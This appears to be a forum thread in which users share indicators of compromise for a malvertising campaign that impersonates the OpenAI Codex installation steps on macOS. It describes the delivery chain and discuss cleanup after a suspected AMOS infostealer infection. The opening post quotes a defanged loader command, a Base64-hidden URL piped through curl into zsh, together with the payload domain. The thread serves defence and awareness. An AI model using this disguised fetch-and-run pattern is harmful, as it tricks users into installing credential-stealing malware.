Fake OpenAI Codex malvertising campaign using Base64-obfuscated curl | zsh loader on macOS

[u/thezyzz]

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex.

A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64.

Defanged example, do not execute:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh

The Base64 value decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

The interesting part is the delivery pattern:

Sponsored search result
        ↓
Fake Codex installation page
        ↓
Legitimate-looking OpenAI text printed with echo
        ↓
Base64-obfuscated unrelated domain
        ↓
curl response piped directly into zsh

I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence.

The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to:

/opt/homebrew/Caskroom/codex/0.147.0/bin/codex

The binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

So the malicious component appears to be specifically the separately downloaded quill-flint[.]com shell payload.

Has anyone tracking current macOS malware seen:

quill-flint[.]com
/curl/<id>/<id>.json

or this exact Codex-themed lure?

I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain.

I can provide more sanitized timestamps and filesystem observations if useful for analysis.

[u/Inevitable-Self-2702]

I'm very interested to see where this leads and how they managed to impersonate a sponsored Google ad.

[u/Intelligent-Door-236]

I downloaded it mistakenkly lmao. Thank god it was on a freshly new mac that I activated 2 minutes before. Any news?

[u/thezyzz → u/Intelligent-Door-236]

Did you download it because you found my thread, or did you come across it on Google the same way I did?

And no, I couldn’t fully reverse-engineer it or recover the downloaded tmp/helper file to see exactly what it was doing. So I have no idea what it looked for, what it fetched, or what data it tried to access.

I’m a bit more relaxed because, as far as I remember, I was never asked to enter my admin password. From what I’ve read, without that, it shouldn’t be able to extract passwords stored in Chrome’s password manager.

The only permissions it asked for were access to my Documents and Media folders, which I unfortunately approved. So maybe it was looking for crypto wallets, seed phrases, passwords stored in files, or something along those lines. I really don’t know.

Fully wiped the mac lol.

update: Look what I found! Cato Networks actually researched this: https://www.catonetworks.com/blog/cato-ctrl-when-trust-becomes-payload-in-fake-codex-clickfix-campaign/

[u/Intelligent-Door-236 → u/thezyzz]

Nah downloaded it before hand and found weird the shits happening in terminal, closed it. Went on my PC to change my bank, social media and important password while resetting my mac. I had the mac for legit 5 minutes before doing it lmao, I wanted to install Codex first.

I went through the mac setting ''Erase all content and setting'', was it enough? Changed all passwords too.

[u/thezyzz → u/Intelligent-Door-236]

With this kind of malware, AMOS infostealer, what’s done is done. it usually steals what it can and often doesn’t stay on the system. 

Wiping the Mac was still the right move just to be safe. I’d assume anything that was on the Mac could have been exposed: saved chrome passwords (safari/chrome), sessions/cookies, crypto stuff, AWS/GCP creds, API keys, etc. 

One thing I’m curious about though: do you remember if at any point it asked for your Mac/admin password, or showed a system permission popup for folders like Documents/Media with Allow / Don’t Allow?

[u/Intelligent-Door-236 → u/thezyzz]

just copied the command and it did it's job if I recall correctly